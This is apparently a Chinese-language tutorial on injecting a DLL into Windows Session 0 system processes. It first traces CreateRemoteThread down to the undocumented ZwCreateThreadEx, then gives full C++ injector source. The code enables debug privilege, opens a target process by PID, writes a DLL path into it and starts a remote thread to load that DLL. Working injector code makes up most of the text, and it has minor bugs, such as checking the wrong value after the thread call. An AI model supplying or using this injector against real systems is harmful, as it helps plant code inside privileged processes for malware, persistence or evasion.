Session注入
在进行Dll注入的时候,我们发现没法注入一些系统进程
提示我们缺少权限或者拒绝访问,甚至干脆就是什么反应都没有
这时候我们考虑往更加底层去跟函数,我们不能再使用在用户层所给我们的函数,我们自己去寻找内核层的函数
跟进函数
首先找到我们用DLL注入编译出来的二进制文件,看看CreateRemoteThread这个api到底是怎么调入进入0环的
搜索到这个函数的位置之后,我们可以看见,CreateRemoteThread的引用指向了一个外部调用(粉字)
然后在导入表中查看,发现其来自Kernel32.dll
前面我们提到过,这个dll是一个相对基础的dll,在载入pdb之后,我们可以继续寻找CreateRemoteThread函数,下面的粉字意味着又是一个外部调用
我在自己跟这个调用的时候,发现这个api-ms-win-core-processthreads-l1-1-0.dll 库里面并没有实际的函数定义,反而是一些类似函数表头的数据结构,而且函数在导出表里面
又查阅资料得知KERNEL32不一定是指kernel32.dll,在新版本中还有KernlBase.dll这个dll库和kernel32.dll库交替使用
在KernelBase中,果然找到了CreateRemoteThreadEx的函数
继续在这个函数中向下跟,在这个函数中也找到了NtCreateThreadEx的声明
Nt开头的函数,一看导入表,在ntdll中
继续往下跟,在ntdll中找到了进入内核的入口
在这个入口上,我们发现了ZwCreateThread,这也是另一个调用NtCreateThreadEx的入口
在向系统进程注入DLL时,由于注入的是SESSION0的进程,CreateRemoteThread会调用更加底层的ZwCreateThreadEx这个函数,而ZwCreateThread第七个参数CreateThreadFlags会被置为1,导致线程创建完成后一直挂起导致无法恢复线程正常的运行,导致注入失败
这时候,我们可以使用更加底层的ZwCreateThread来解决这个问题
ZwCreateThreadEx是一个未文档化的API,但是可以通过GetProcAddress来获取其地址
下面是这个API被逆向出来的结构
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
思路
1.打开注入进程,获取进程句柄
2.在注入的进程申请内存地址
3.写入内存地址
4.获取LoadLibraryA函数地址
5.加载ntdll
6.获取ZwCreateThreadEx函数地址
7.使用 ZwCreateThreadEx 创建远线程,实现 DLL 注入
8.关闭句柄
在对Session0的注入需要拿到SE_PRIVILEGE_ENABLED权限,所以代码略有不同
普通用户
管理员
demo(ascii)
// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName)
{
EnableDebugPrivilege();
HANDLE hRemoteThread;
DWORD dwStatus = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess error : %d\n", GetLastError());
return -1;
}
SIZE_T dwSize = _tcslen(pszDllFileName) + 1;
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT,
PAGE_READWRITE);
if (NULL == pDllAddr)
{
printf("VirtualAllocEx error\n");
return -1;
}
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,
NULL))
{
printf("WriteProcessMemory error\n");
return -1;
}
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
printf("Load ntdll.dll error\n");
return -1;
}
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
hProcess,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error\n");
return -1;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
//DWORD dwPid;
//sscanf(argv[1], "%d", &dwPid);
BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]);
//BOOL bRet = ZwCreateThreadExInject(dwPid, argv[2]);
if (-1 == bRet)
{
printf("Inject dll failed\n");
}
else
{
printf("Inject dll successfully\n");
}
}
else
{
printf("\n");
printf("Usage: %s PID <DllPath>\n", argv[0]);
printf("Example: %s 520 C:\\test.dll\n", argv[0]);
exit(1);
}
}